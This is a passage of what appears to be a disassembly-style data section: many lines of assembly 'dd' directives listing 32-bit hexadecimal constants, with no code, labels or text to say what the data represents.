		dd 0B086FD4Dh, 584B0261h, 56D1BC40h, 0F607B62h,	0B20729C4h
		dd 48619AEBh, 0C1447FE0h, 1DD7772Ch, 8EFCC752h,	0AA203F76h
		dd 6E78D686h, 1DBAF00h,	9DA38D0Ch, 36B02EA0h, 0CBFE1ED4h
		dd 1E07D789h, 0B9234099h, 0E8E54C52h, 0F60FAD7Ah, 0EC14E3BEh
		dd 7313BAD0h, 99F020h, 4C228FA1h, 5E38A683h, 3CF39209h
		dd 61088F31h, 6A0371B5h, 3FC834C4h, 67930996h, 0D0B04E29h
		dd 6D50DC21h, 0F63BE836h, 10CA7304h, 0F080D502h, 76B83B1h
		dd 0BE3697EFh, 0EAF5D0B0h, 1D798D7Eh, 45538900h, 0F7C56780h
		dd 0D9AC0031h, 0DE743B24h, 0FD001249h, 0D7534746h, 9520C5h
		dd 0B6B0D9ABh, 2F76FA73h, 2EC7C000h, 0D4F4D7A4h, 0A7743C50h
		dd 0A8050200h, 4368E579h, 29392107h, 727034AAh,	34A560Eh
		dd 8CFFC9C1h, 0F80906B3h, 8274B245h, 0E2E07284h, 191C4879h
		dd 0D63438A4h, 8D553C75h, 0AFB2B387h, 0A8F2063h, 420087EFh
		dd 16B21B5h, 0F4A72Bh, 0D3980736h, 2EE6D029h, 4FE0F500h
		dd 0EDF0DD46h, 0E9F7A9Ah, 33549CEFh, 62496760h,	55015211h
		dd 57D72B5Bh, 4C03E8Bh,	917E0FB4h, 0B7E638h, 68166728h
		dd 69722B5Fh, 40132A1Fh, 9DD4800h, 0F5C10h, 0D31EC988h
		dd 743F6160h, 250053B0h, 0E9D1B42Dh, 9B17F86h, 5B01CA23h
		dd 89AA4460h, 748A0700h, 0FCD47DE2h, 0AB941D87h, 0EE5AC0E4h
		dd 9BA53DAAh, 4EFD4507h, 0B633829Ch, 2AE7A859h,	13201456h
		dd 0A11F8B78h, 3477C4D1h, 0BA8880ADh, 0EEE0433Ch, 0F8067509h
		dd 61560078h, 9114F6h, 0C352779h, 0EDE69302h, 43CA2B00h
		dd 4DA1FF1Ah, 5B7800FBh, 3AE47CC9h, 0E8FCD69Bh,	10F57701h
		dd 0A1ED5C05h, 2076B3CCh, 1F01FCE4h, 50938036h,	90C02566h
		dd 0D6904Fh, 0E747735Ch, 2BBFFB7Ah, 0BD951000h,	26302708h
		dd 162DB0CAh, 168CC1h, 48F846A0h, 7F00F4B0h, 0ADC776C3h
		dd 0C0A6F1h, 2A58F227h,	5C24C55h, 0B0374500h, 7BA2E697h
		dd 62673BE8h, 77C3180h,	4B75AC4Fh, 92032A73h, 0C4C224EFh
		dd 116CA88Ch, 95A50029h, 0FE25E4A9h, 7E00A2D8h,	0FA1F18B4h
		dd 0A1576Dh, 0BAD1A687h, 0C79FEA55h, 833D0C0Ah,	0DA28D8CCh
		dd 0E07B0F0h, 7219807Ah, 5A5838D1h, 0C6CC51C1h,	6A1B0B9Bh
		dd 37806896h, 3F748B6h,	133F5717h, 9F88D000h, 127B9418h
		dd 343BD6h, 0BD7D6EF8h,	1B0C70CDh, 0FA17D3B3h, 3704245Fh
		dd 82E31D84h, 0EEBC61C0h, 0CF1708A0h, 7D253AB5h, 0B1948031h
		dd 73FD9DDh, 0A4E6F704h, 520D40E8h, 0DB071FFDh,	0B6852879h
		dd 125099E1h, 70E29AF8h, 0BDC4009Eh, 0D2EB3A2Fh, 14003ECAh
		dd 13DB5BF8h, 4CE3D8h, 41021169h, 0A794F7ECh, 0A1526E06h
		dd 17781FDBh, 40D70F76h, 0BE2B5594h, 2974CD28h,	1B515700h
		dd 0B5976EDCh, 0EA1A4810h, 74FD8800h, 0FA23055Ch, 3AC93C00h
		dd 0F5803DDAh, 97DC007Dh, 4319D133h, 7100FDDDh,	0DBC67766h
		dd 27C126DAh, 7000FAAFh, 0E59155D9h, 0F828A403h, 187179DEh
		dd 201D6F08h, 92004D38h, 842C4944h, 0FF8B8Fh, 1C4A783h
		dd 2456F08Eh, 0D5FDD607h, 0EB0055CFh, 84D3FBh, 2B8C825Fh
		dd 644AB47Dh, 2030E92Fh, 40499B7Ch, 0D94200FDh,	0C93DDEF4h
		dd 3A0630CFh, 0D8887ACAh, 0E1FC29h, 937B2BB6h, 9B5330AAh
		dd 0C5CF08C6h, 89170020h, 0AB74EAB9h, 0C1266216h, 0AE39C741h
		dd 0FB00F473h, 6ECEC435h, 0D0130106h, 0ABBAC955h, 5C0827Ch
		dd 0F2DE8BD4h, 48FC24C8h, 0FE1001Dh, 17A6DDBEh,	0A0FE08C9h
		dd 20C171A4h, 0A42B6044h, 0F25AB385h, 27D488C0h, 0EC5412A2h
		dd 0B1DB38BEh, 0CD26AB8Fh, 4300182Eh, 0BFE040D9h, 92146B07h
		dd 0CC037DAh, 4289D8Ch,	52205BC1h, 0DFAC002h, 8E58D5EFh
		dd 38030045h, 0F8685CFh
		dd 8160F113h, 1D07005Ah, 7DDCA5DBh, 50004924h, 91231BE4h
		dd 6E641Eh, 0F8ED8337h,	29F4FA9h, 0C829E24h, 0B60DFE00h
		dd 7D1C4Ch, 90FDB414h, 1E6119A2h, 2A98E200h, 8DA17AF5h
		dd 0A8830368h, 669CEDF8h, 9084F187h, 8813C08Fh,	0AEE1FE00h
		dd 0B470A3ECh, 9F090025h, 0B0ED91CDh, 287D48B2h, 7D2D3800h
		dd 9E45A9A4h, 64E80058h, 49055FC6h, 674E7FBh, 20A38430h
		dd 38E6D7BDh, 0D480E531h, 0BE939A91h, 36168B48h, 49000E6Ch
		dd 2044C674h, 6C56F8BCh, 3E683884h, 0E6FA028Ch,	3AFB9EAh
		dd 0D1BB0016h, 0D02778E6h, 0B8002375h, 945D2864h, 6045A552h
		dd 7FAF487Eh, 2C607156h, 680C2511h, 0D18D01FAh,	83C6A346h
		dd 91CBD347h, 0C46B5803h, 0A0BBFF67h, 0C1251016h, 0B159ECB0h
		dd 0A3C88C94h, 717E8091h, 2CA800D6h, 0F4147F2Eh, 8709129Dh
		dd 80C28C03h, 2B9E816Eh, 75DF005Fh, 0AA0A2EB5h,	0A068A53Ah
		dd 0F1008141h, 0B6B2A38h, 63233142h, 80971608h,	0F033E720h
		dd 367462Dh, 6A9D7FB1h,	0E000E0FCh, 98893E78h, 0BB617Ah
		dd 94091C79h, 2EB6A27Dh, 0AC28C600h, 831690CBh,	52E700EFh
		dd 0A1B888BEh, 0FE1D6E62h, 8819C49h, 0BDC989FAh, 2778AF0h
		dd 3A5A0E58h, 0C0E344F0h, 264503C0h, 292F0C03h,	0E8CCB785h
		dd 0C59605h, 397D7936h,	5BB90D30h, 0B8CBA301h, 99886C77h
		dd 0D7AED0h, 80D16259h,	3189A49Eh, 0FA257100h, 33EEF075h
		dd 9A730078h, 2BA2BD8Eh, 0B00D44Bh, 0E0DC5A31h,	62D18Ah
		dd 0E7DEC4A8h, 0CAC27B0h, 0D003C3E4h, 49E8483Ch, 0B7293A34h
		dd 382669Ch, 35670C6Fh,	414A1900h, 3BA62E92h, 5109307Fh
		dd 5B667C5Eh, 0A9CA7301h, 0B5288ADDh, 2E639640h, 0E6AD0798h
		dd 0ABE048h, 0B89B94EAh, 157C500Ch, 11D6026h, 0EE628FCBh
		dd 0F8F98A6Ch, 0EF1FB320h, 1201DF2Ch, 0BBCB7270h, 30E546C4h
		dd 1358D0D3h, 0B680D1BAh, 0DAC53CC7h, 8602F000h, 0F80A3F71h
		dd 1ED4B39h, 9040775Bh,	96309876h, 0BF5A000Ch, 0CB016FFFh
		dd 521336B5h, 840F8273h, 6330FFBh, 1117E0Bh, 0D1243AC0h
		dd 0E418EF39h, 0A00C12Ah, 41250906h, 0F01DCEh, 13E87696h
		dd 57AA16F5h, 7DF1F700h, 0A74F2A4Ah, 0A9940011h, 0D3E9315Fh
		dd 42C6185h, 4200B2AFh,	0C53CFE8Dh, 569600A4h, 13B119F5h
		dd 0AA0009F6h, 62549CF7h, 1859B474h, 8B78716h, 20C0F5AFh
		dd 3C3F0597h, 0E1D500D4h, 0E24DBBA5h, 6C00AF76h, 0DA98D0ECh
		dd 0F618CC63h, 57A90734h, 943E9448h, 864A4E72h,	17118CAh
		dd 61158D57h, 8014F40Fh, 0FBE01710h, 76E944Ah, 0BA5D1375h
		dd 21E54674h, 0FBFDCC00h, 469795Eh, 95DB0035h, 54B1C40h
		dd 6F31E5A9h, 158C803Ch, 2C5002E9h, 98E4FBF2h, 2C745462h
		dd 0AA0A860h, 0FBFC0026h, 7236CE21h, 45F84FB8h,	0CB20D714h
		dd 8C62BC28h, 58C47700h, 9F76C9Eh, 0A4A25443h, 8B280084h
		dd 0E7F375ECh, 0F7081CC3h, 3B363296h, 0A900C7BEh, 0F6B37B43h
		dd 0DAF6FFB8h, 56DE1312h, 66A28C01h, 0E0FBD670h, 0ACE8C5h
		dd 74C8876Dh, 2C83268Eh, 4F3AB403h, 0C9EDEA49h,	50C8BF8Dh
		dd 3478DAh, 7BB81C0h, 97A67DD0h, 7129720Fh, 1EAE2030h
		dd 799AA3h, 0CB1D2DCh, 2FF6374Ch, 24786A00h, 0E7B43A74h
		dd 0B3C700AEh, 0C601D49Bh, 840F531Dh, 4F5C7123h, 0A40840DDh
		dd 317C1Ch, 0F889B0BDh,	0C9FE37B5h, 650759F4h, 3EF2D327h
		dd 0B4503637h, 1FE38076h, 1ECC4D2Bh, 37E5401Eh,	0E17F399Ch
		dd 68A7AB01h, 0E8A263FBh, 0F109AFF0h, 0F0A3C6F4h, 713D00EBh
		dd 0B6678995h, 0B4FA9CD2h, 193FD8E8h, 1FCE8F23h, 3C3781B1h
		dd 50B87D25h, 1EF5D387h, 0D127A0B6h, 0A0006282h, 463029D5h
		dd 0FE4F405h, 63224401h, 0EC3D0C80h, 0BD3DFC3Eh, 32C803CFh
		dd 0C0E88F9Ch, 612739h,	2FA05B7Fh, 0C4DC12BFh, 21CF9A12h
		dd 38184818h, 0D8B4EB4Ah, 100430A0h, 0D60CFC0Ah, 0D847A203h
		dd 0A876204Fh, 1DB5D901h, 0E4D4527h, 3CFC4B60h,	90A388Ah
		dd 68CCFD8h, 301C2458h,	4D465900h, 5B1FD966h, 52540075h
		dd 11F5B87Ch, 0F70A36CDh, 2803BDD4h, 4052A86h, 0E7D20C19h
		dd 999B32Bh, 19597F18h,	14B5C6A9h, 601FB15Fh, 32146081h
		dd 89A882C5h, 200D270Ah, 6F9BCD0Ch, 7590D554h, 0A002E000h
		dd 18ACA61Eh, 203D3313h, 1FE34079h, 7CAF698Ah, 278A8415h
		dd 143E073Ch, 3DF1EC59h, 84584529h, 72BF6803h, 0DF4014A9h
		dd 8B149CFDh, 0DA104848h, 44EBF06Ch, 7949C134h,	80E5FF39h
		dd 0C0C86EC9h, 7480C9D9h, 8A370638h, 0A91BBD06h, 989DDA3Eh
		dd 0D531E4EDh, 946A0042h, 0CF6F7712h, 59C3527Ch, 4BCF1B9h
		dd 494A2639h, 0A56FC0E6h, 98C06D7Bh, 0FFAA8D03h, 4B9CA8E1h
		dd 3C16F0DDh, 8B0A4EE4h, 8984E567h, 0E280C9C8h,	0E65B3DD3h
		dd 34D9A303h, 0C03E35DEh, 186ECF0Bh, 10366032h,	0BF0FCDC6h
		dd 80A6EC90h, 0AB208214h, 69DF684Fh, 7E21194h, 263A0612h
		dd 5F4B7141h, 7881A049h, 4F8E35C2h, 0A59C24A0h,	8ABB5806h
		dd 3020E7CFh, 0F5A19E7Dh, 712D7E6h, 0BC00FDADh,	6D997CEBh
		dd 39AB03D0h, 11C59AB9h, 0F4129FE1h, 4003420h, 8DDB3A3Ch
		dd 0CAB08E44h, 0F9406548h, 30CFF941h, 40A6B12Ch, 0AD1E9400h
		dd 39E5DB3Dh, 0B218C020h, 0AB7D8E2Ah, 0C89236FCh, 1396AC81h
		dd 540FF535h, 604200B8h, 0C0E6678Dh, 0A0B79121h, 1160F2CBh
		dd 1713E41h, 4DC504E8h,	90292720h, 8832C004h, 8510894Ch
		dd 0C0445A7h, 0AE219E38h, 3E1C0842h, 6A18B06Bh,	0B7C371BCh
		dd 3601F071h, 9C92DE4Fh, 972129C4h, 64F2A180h, 5E532B42h
		dd 8C3F390Ch, 0CEB3860h, 6C6F1EAFh, 58E8CFF8h, 30B44F00h
		dd 0C2A0B9C9h, 903EB088h, 0A206004Dh, 64DD75F3h, 770F94CDh
		dd 8098BC55h, 0E6F966E7h, 7FCA0168h, 3E0A5D29h,	930C300Bh
		dd 1B1881C0h, 3F4D1C4Ch, 766F9Eh, 2B275444h, 6EBAE3B0h
		dd 9F00289Ah, 0ED0BAA0Ah, 3CE1A148h, 959C3E63h,	1CD76627h
		dd 0A2F500B8h, 5AEB206Eh, 5326F09h, 12600138h, 71808E59h
		dd 0E897CFB0h, 9B006731h, 437BEBA5h, 0EE1666h, 0F75B35E5h
		dd 1954B3Fh, 8DEFC900h,	5754B026h, 0AD8673C6h, 9BBFC004h
		dd 808D54AFh, 0A34A13C3h, 0CEF8ABF6h, 0A5DF7408h, 1C1580CDh
		dd 0C1D5CA92h, 0DDCB5B0Ch, 0CF9D3999h, 0C6CF2308h, 0CA9E1E07h
		dd 229F20h, 24866B9Ah, 0E40C0AF8h, 983EE02Fh, 8536CF6h
		dd 18A0CC50h, 4CA3ACF0h, 0B6FF69DEh, 2818A078h,	151C582Fh
		dd 90AFA055h, 7E4DDB1Fh, 9B285053h, 6018D010h, 0A1085D29h
		dd 0E2130004h, 4A921984h, 2189C066h, 92368C9h, 19DDC028h
		dd 0BF3A52A9h, 2894561Bh, 3E2814CCh, 3F654CCDh,	4037D320h
		dd 4B58508Ah, 16E500B2h, 28578340h, 54146DC9h, 1705556h
		dd 13A17380h, 9720F071h, 0FC09D0A5h, 0EB040BADh, 0AE6F760Ch
		dd 0EE50CA10h, 5D1CE30Ch, 4101DBA5h, 51E90F85h,	303961F4h
		dd 0FD419ED2h, 0F17A1649h, 0AEBA1219h, 2BDC9819h, 0C938CC3Bh
		dd 0B830EE51h, 50D358BEh, 2E49C067h, 0BC4ABA76h, 0EE03E8B0h
		dd 77586D30h, 0A4610195h, 78B1A7CDh, 0C61080C8h, 0B0E4C95Ah
		dd 0E2F50C14h, 0C692A10h, 0B382C718h, 0E49948h,	0B179CC83h
		dd 0E7F0D7B9h, 3AD4C83Ah, 8CEE007Ch, 64109DC0h,	537609F5h
		dd 0E40D0AB0h, 8B6760A8h, 7AE82479h, 51A783Ch, 50EF2179h
		dd 7D488C59h, 129851B3h, 0E78C8288h, 0F830C000h, 0AAB7FB2Eh
		dd 10AF00A7h, 0C99D15CFh
		dd 58006477h, 1605117Ah, 291A9A46h, 790A3C2h, 0E588D7D2h
		dd 0CD8C015Fh, 85E59582h, 0B61C3FE8h, 489A8C01h, 0E4244C94h
		dd 1B9D00FAh, 0A4E54F89h, 7F1DFB36h, 8A3A4873h,	0B8BB9443h
		dd 18F13CB8h, 0D4119F2Bh, 4D88A0F8h, 0A23D0357h, 6D1E8013h
		dd 0FC5DBEE9h, 461BDDFCh, 30F13F2Bh, 7D08C6E1h,	7B49EFF2h
		dd 3F38D0h, 0D2915506h,	0ACAD905h, 0B98F3FBh, 9CF80310h
		dd 1E18B052h, 0F7A08010h, 0B021507Fh, 0F1ACA0A5h, 0CF30C07Eh
		dd 120D8798h, 0E209792Ch, 1004581Eh, 34D2EABAh,	0E5A8B9B0h
		dd 3C65A1FCh, 6102C685h, 58495B63h, 1DBEE03h, 76624DF1h
		dd 4AC0EB1Fh, 81D23B8h,	500FABE6h, 9A5440CCh, 4CD61BC9h
		dd 7E07F8FCh, 0C0905EA6h, 123BA98Dh, 0D2C6D700h, 0B90AAFAEh
		dd 0C58C052h, 0D460FACFh, 0F4E34C28h, 0E4791100h, 0C6FC740Eh
		dd 5578008Ah, 0E88E90EFh, 2B60A81Eh, 8BD7CED8h,	0B9D3EB7Ah
		dd 0C8C7EFE7h, 905558AFh, 0D96D6350h, 0DE89644Eh, 86C894C6h
		dd 81342290h, 3E11A0B8h, 0C4306556h, 101A9E8Ch,	29E1C7h
		dd 3F5576D8h, 9147E8E0h, 0C8716144h, 945BD862h,	91E4F420h
		dd 75E304D0h, 1BD090CEh, 1892D66Dh, 0A1309848h,	29A89064h
		dd 0DE4C052Ch, 849FCACh, 0BA0E794Ch, 206094E9h,	500A229Fh
		dd 29591000h, 0FA970DEBh, 4FDF09CCh, 0C0038440h, 40309DA4h
		dd 8557D9E2h, 1812F28Ch, 0B15AEF37h, 29C48BD4h,	2D41A080h
		dd 41E8EE78h, 20DAE73Ch, 58A47A88h, 9B75591Dh, 340AE505h
		dd 0F374820h, 43D7007Fh, 0CC86F69Ah, 510063A2h,	10C9F72Dh
		dd 6091A1EBh, 5704B0D6h, 4B741642h, 18C5A48h, 0B9580780h
		dd 4ED1B278h, 9AC727F0h, 93A20678h, 71681BAFh, 0E7125914h
		dd 425B3CB0h, 49207122h, 9A4804B0h, 90A98B86h, 536D9B0Ch
		dd 0C3C73Eh, 0C42D5510h, 7998D0h, 7E64150Eh, 7A75D1C8h
		dd 8C515881h, 10948617h, 32848CFAh, 788480CAh, 0F0A88F57h
		dd 7D0410D6h, 9D76288Ch, 0AE9AC940h, 0BCC685E2h, 7878CC80h
		dd 0C6A01379h, 0A15C099Dh, 1803C81Bh, 0CAF57B95h, 0F2E4C04Ah
		dd 0EC9F2FEh, 9257290Fh, 0E72AC8B4h, 1CD37298h,	0C12CA3D2h
		dd 0F1AE7C14h, 7D885053h, 0A01F02BCh, 4600FD7Bh, 93D3EFB3h
		dd 44A4FCB8h, 9C0FEBB0h, 0C271E23Eh, 4080919Dh,	710FFDA8h
		dd 0FA393066h, 6A1D1B50h, 96008EFCh, 0B1EA072h,	704878h
		dd 0B238E4A3h, 0D5B4558Ch, 0D0994901h, 75A564BCh, 0B7C448h
		dd 4143E866h, 0AE95B40Ah, 7F993000h, 7DF6906Ah,	0F53501C9h
		dd 80EC1EC6h, 0E0D9E4DEh, 0F1F9DD17h, 9764D020h, 3E91FAE5h
		dd 381D5B82h, 0FABA0003h, 0F047F9D7h, 0B681E200h, 302A3F84h
		dd 10DE4872h, 0AFC5E22h, 206AAC24h, 17D65780h, 1C4F7462h
		dd 9DD0EE5Ch, 2FA54096h, 60211EC1h, 2D59E02h, 807635EDh
		dd 806559B8h, 3E640089h, 78C29C25h, 337A40CCh, 0EF56D407h
		dd 0A6370296h, 92085FB0h, 0F6690082h, 0FFDF6B25h, 0D80193A1h
		dd 0B662527Ch, 10B09C8Eh, 88E52538h, 0D97F2118h, 734210h
		dd 36DCB757h, 383E406Dh, 0E974FA0Bh, 8DE10059h,	0EE6A038Bh
		dd 78506333h, 0F5D1D8h,	6E105BF5h, 0C0008E2Bh, 0BAD54EF8h
		dd 0F95FA2Dh, 0F9620ACDh, 5B7D6860h, 63E4383Ch,	18EEBC18h
		dd 73D83B0Ch, 5650CFDDh, 821C8880h, 5A0333D3h, 0BB89FF0Dh
		dd 32E398B3h, 0D178C357h, 23C08F0Bh, 0CC0064A7h, 0E551AA15h
		dd 7250870Dh, 7BA4038Ah, 7E25BA4Fh, 16560188h, 0E3E94D62h
		dd 1D9CA0D7h, 7C7D25Ah,	9D532A79h, 1F2404Fh, 82009B0Dh
		dd 0ED52B66Dh, 603115FCh, 6BEBA113h, 0C1F00E46h, 102F6218h
		dd 1D0BA8h, 5522C345h, 821BB8A5h, 0ABD8700h, 349CB2BCh
		dd 71EE5Dh, 225FACAh, 13FE1C86h, 720A538h, 0EC99964Ch
		dd 4169100h, 0AD400049h, 87DFF1FCh, 0BA001B6Eh,	0F5E36979h
		dd 106EFD7h, 91514763h,	0E8CAF19Eh, 76FE365Eh, 0ED6F4B1Fh
		dd 515DA780h, 0B8583CCh, 32227149h, 0AC8D8980h,	2F008F5Ch
		dd 0AE6DC81Dh, 376E567h, 2A3CB777h, 27C0CC61h, 800E6B8Ah
		dd 8F64827Fh, 0FC00D33Ah, 0B21DE7F3h, 0BAF00026h, 0D6B6BD1Fh
		dd 0C93997BCh, 77BE816Dh, 0F8041721h, 207C20h, 9C64505Ah
		dd 0D5830FF9h, 381A2C00h, 8E195477h, 46C20041h,	0FA5F9A91h
		dd 800AE85h, 23F613B5h,	39B9347Bh, 723E8BFBh, 6AF306FBh
		dd 0D854FE44h, 0CA4B7E07h, 0F8631011h, 0E0A3AB60h, 1D3E3718h
		dd 0C0010A13h, 0E28AE52Dh, 80515219h, 0EA3160ACh, 83E39A00h
		dd 0E6027BAEh, 50E20047h, 0EBF6F1D5h, 1200079Eh, 6FD49F1Fh
		dd 0B2AD8Ch, 67162BB3h,	4034DC2Ch, 26A65800h, 9F15C998h
		dd 0F3F0E92h, 5940056Eh, 0EF1FD513h, 9429EA03h,	0C0043B5Eh
		dd 0A41130h, 9EFB355Fh,	1225499Dh, 2E33C307h, 0C8108894h
		dd 6B7847h, 0ADE15ACh, 0E47C1DCCh, 750036F6h, 6F270306h
		dd 393616Ah, 325A4F90h,	4987D4Bh, 0D600C73Dh, 2E727A41h
		dd 9F6FC0h, 0ABA4BB8Eh,	0C54E31BAh, 0F1D3A007h,	0B3300218h
		dd 0C2BCF7h, 5A5BA13Fh,	6DA8A28h, 401A0109h, 8600007Bh
		dd 7D05AD04h, 0BAA51D71h, 988B409Dh, 0E78733C8h, 0B2ABC10Eh
		dd 0E2E8E086h, 16B37FFh, 19D992B5h, 2029EF4Eh, 0D7002F19h
		dd 0C5AD7D72h, 3FC37C5Dh, 830F7893h, 0EE432399h, 35E889D3h
		dd 610F652Ch, 0C27E6E28h, 8024877Bh, 0F2503BD8h, 0ED7B91h
		dd 833407F4h, 0A558EFEAh, 0F08DE203h, 9A77E66Ah, 0A87CA0BCh
		dd 0C63419h, 4AD5D471h,	687B2A7Fh, 0DBEE0707h, 81D01261h
		dd 1D1BDFCh, 63A95D23h,	80C357EBh, 0D59534F6h, 98B5FB7h
		dd 5719E97h, 0D779C680h, 0A00EBF7Bh, 40747D7Ah,	2C8D3CC3h
		dd 98660099h, 242D5032h, 6A265A9Dh, 891D28EEh, 0E79FB540h
		dd 241C6173h, 0DE8317h,	8D44EA4Eh, 0D807F91Bh, 0C6C9B6EBh
		dd 0DD0421A0h, 407C4Ch,	0D62EB43Dh, 0D5BB2519h,	5AC57300h
		dd 2F236B36h, 8F1200D8h, 0C3C21311h, 1F00F5B0h,	0C75C3593h
		dd 0E38465h, 45568DB8h,	60F757Dh, 3E52D4Ch, 9768B5BCh
		dd 0E7EFE05Fh, 0C8AC03D4h, 7966B6C0h, 0FAEC80FCh, 581FB3CFh
		dd 0ECCA1586h, 1D00BC6Fh, 1EEA3698h, 0EB6B078Fh, 671470BEh
		dd 0DA204C2Ah, 0D6E4260Fh, 1D9CE180h, 0D7F0B2FFh, 5A55383Ch
		dd 0C102D000h, 9B8739F5h, 0E3C3C90Ch, 44D88B3h,	85BABB8Bh
		dd 28D8817Ah, 25B0103Bh, 0E8A30063h, 0B9B5F596h, 1C00C215h
		dd 5B628B2Dh, 7065B8h, 8CA82007h, 96A52ED5h, 20906A6Eh
		dd 2DB8DD3Eh, 0A4230004h, 0C0B01076h, 4E008556h, 7EE75FF0h
		dd 1F8A49E3h, 0C073D6A9h, 633475ECh, 77604333h,	0BB8D2620h
		dd 81050725h, 30C7E48Ah, 0EF34A338h, 9068900h, 6AF4841Ch
		dd 0CE650FD5h, 801E6785h, 9AB2E387h, 190639ACh,	3A1DC0BFh
		dd 0ADB400D9h, 0B5A74F2Dh, 0F92C5625h, 8D00597Eh, 0D0279E9Ah
		dd 172900DCh, 0DE7DEBEDh, 5E3FEC57h, 0FB30805Ah, 958E3ADBh
		dd 794E584Ah, 3E9EFF00h, 0D187E75h, 897F300h, 0C29B6603h
		dd 2D830079h, 0AB561239h, 36002EEBh, 0BB7EED2Ch, 0C029DBC0h
		dd 0D6AE0390h, 421C9B2Fh, 6D80C6A8h, 0FC538AFBh, 20898EAh
		dd 0F759087Ah, 314083F2h, 0E01E6684h, 0B00F33F0h, 80540082h
		dd 0F8FB98h, 233EAB28h,	6F177CAFh, 6E225800h, 59D6BCE4h
		dd 0CDE70E1Ch, 0ED60BFA1h, 0DF5C4955h, 442BBE00h, 3CECE039h
		dd 4649F5h, 0B9C5C001h,	0C01DA7F4h, 295CDD59h, 486D1CEAh
		dd 86C79A40h, 0A8227Eh
		dd 3BC5C34Ch, 33CC14D6h, 720EBA00h, 6103AE3Eh, 343C00E8h
		dd 0E031F71Ch, 2E1DAA28h, 564A80B8h, 14C0DCD8h,	39A39D9Bh
		dd 0D280B7B4h, 0AA515FFBh, 0E200A425h, 15F6C7EBh, 0B096CD13h
		dd 73C80090h, 0E82317BDh, 272E3742h, 991F40EEh,	0CFB25C80h
		dd 1E225DC9h, 910A02h, 0E69E112h, 1B385865h, 0EDA8877Fh
		dd 0CAA2CFA6h, 80F360ADh, 4D71002Bh, 0E1E5CB39h, 0BB00A35Bh
		dd 0BB7ECA5h, 0EE39D3Fh, 0D67BE7DEh, 6FEB8340h,	7503475Eh
		dd 4CF3E650h, 0ABCDDB11h, 4A0DF027h, 3E860080h,	8DE13145h
		dd 1E00CA65h, 603A50E4h, 1C60322h, 0F3116AD0h, 0CC75139Fh
		dd 3F39BC9Ch, 9800F97Fh, 0EB40E579h, 8DAB8Bh, 0E2BA9609h
		dd 515C9474h, 0BB9C5600h, 88B37EC6h, 0F271005Dh, 256C3F90h
		dd 0A80018EFh, 0FEDABC45h, 0C413C9h, 581FB671h,	28AAC1EDh
		dd 0A989BA0Bh, 0EF9820D3h, 77AE999Ch, 0FFF100A2h, 1D5466A6h
		dd 0C900D371h, 0EB099AF3h, 0C0E073h, 998608FAh,	259617B3h
		dd 9C4C9409h, 0F1CF835Eh, 5FDFB897h, 0B790C1h, 0D9EF3F26h
		dd 0B29B6FC7h, 9CBFCD2Ch, 83745D00h, 295CB27h, 87CA3592h
		dd 40400196h, 47005BAAh, 0AEFA7E84h, 76128F42h,	502B48E4h
		dd 20FF007Bh, 840A47E5h, 2163F01Ah, 85224618h, 6D8F6090h
		dd 0A1430F4Bh, 96204E1Fh, 0EC72911Eh, 0FE891C07h, 0AE04C81h
		dd 0E82607h, 34460C7Ah,	3E32DAC3h, 600ED97Bh, 0C0D31753h
		dd 457ED67Dh, 3DBC184Bh, 15046047h, 20EE921Dh, 91960C00h
		dd 0C03A9911h, 0A952C688h, 170A7B73h, 6C36CB20h, 0E5284200h
		dd 31E69303h, 48B9EB45h, 76CAC07Bh, 0D1B5B700h,	13BCB65Ah
		dd 0F41CA00Ch, 0EB60070Bh, 0B0ACA25Ch, 22D27D1Fh, 0FFE0CA1Ch
		dd 3FDF641h, 7FF8081Ah,	0A52A0072h, 33A211B8h, 31005D77h
		dd 40B191C4h, 0F898FAD9h, 83500BBh, 69E2256Eh, 0F800EC68h
		dd 0F52BCE3Ah, 914D6Ah,	56F4A549h, 7144B164h, 0D25AD801h
		dd 7AB73CCAh, 73E377ECh, 5D933E65h, 2B1CD780h, 0EFF402E5h
		dd 809EBC3Fh, 8CEE2FC0h, 9A7B88h, 5BB2BB92h, 3F8DDF1Eh
		dd 6B9ED100h, 0EB73FAFDh, 449349F7h, 695BE900h,	0B62FEC27h
		dd 0BAABFD39h, 21D530B5h, 1468EE89h, 0D8D98CBEh, 74A4D300h
		dd 92E23584h, 0E9EA3F3Dh, 97470058h, 14966D2Eh,	0DC274417h
		dd 16498601h, 8448D322h, 84B2A410h, 4EF71487h, 4A857981h
		dd 218FF5F1h, 7F40E3B9h, 0D8DB091Bh, 3BC4F23Fh,	8046A03Ah
		dd 0A8C717E0h, 8DA8D4h,	5D31C3B0h, 5713AE0Ah, 0C6B5BD1Dh
		dd 0B5007592h, 0C961BA01h, 566A303Fh, 683E16A8h, 0C8493920h
		dd 0AEC302A0h, 7FA3A884h, 259C854Bh, 0A9D77A00h, 0FE07CB8h
		dd 7572642Dh, 0A11F8920h, 9100D201h, 719B2043h,	774C4442h
		dd 0CEF4001Dh, 5AC7120Ah, 0A0FECF29h, 9900A4E0h, 3AFF82F8h
		dd 0DA7958h, 8B3EF693h,	8E31E0CCh, 0D09CB16h, 77D31F00h
		dd 521477Fh, 0E5696BF1h, 8AF9C0B4h, 880012EAh, 80D06DFBh
		dd 2394D1h, 22E05571h, 27AAC501h, 0D7A15800h, 65BA1692h
		dd 0D5E53BC4h, 53575480h, 0D1BCF678h, 80087C3Eh, 0E1A5C970h
		dd 163C3A2h, 3EB229CAh,	0DC5DD357h, 4E07E9E7h, 0E54034FCh
		dd 0D172B3A0h, 695E00BCh, 9C1A39Bh, 0F700C9C4h,	364F37A8h
		dd 5B6764h, 3045BCC3h, 2752733Dh, 0CC1F8B00h, 0FE37B8D1h
		dd 331C0089h, 61BDC8Fh,	3907327Bh, 0F9F1123Fh, 0D05A38A0h
		dd 2C803B3h, 492116A6h,	1863D5C0h, 657B2000h, 0DFDE11C0h
		dd 0BC3D04C3h, 808FE7FEh, 842F3BBAh, 4180118h, 0B72EF6h
		dd 0C9BD3EE9h, 14D1305Fh, 6BEDE600h, 835724D8h,	278B031Fh
		dd 0EEF69854h, 0D6DFC09Ch, 3C38E4ECh, 73C401E3h, 2070CDA5h
		dd 0EB2DF8h, 4553E188h,	9D180282h, 42012576h, 7CDA2A7Dh
		dd 75C3F598h, 13190050h, 0A7792F78h, 200059C3h,	0F96E0A5Ch
		dd 0C5A114h, 62B4FD9Eh,	0E15A1840h, 0DCC7D200h,	0E78FA824h
		dd 0E417B08h, 58B022DBh, 1D416C0h, 0E3003685h, 0D8D132F4h
		dd 2DDA0AFh, 1F444033h,	9C805939h, 0D2C24388h, 23009B79h
		dd 7848DF41h, 11494Ah, 9419FD18h, 98878A56h, 0A9C9AE0Fh
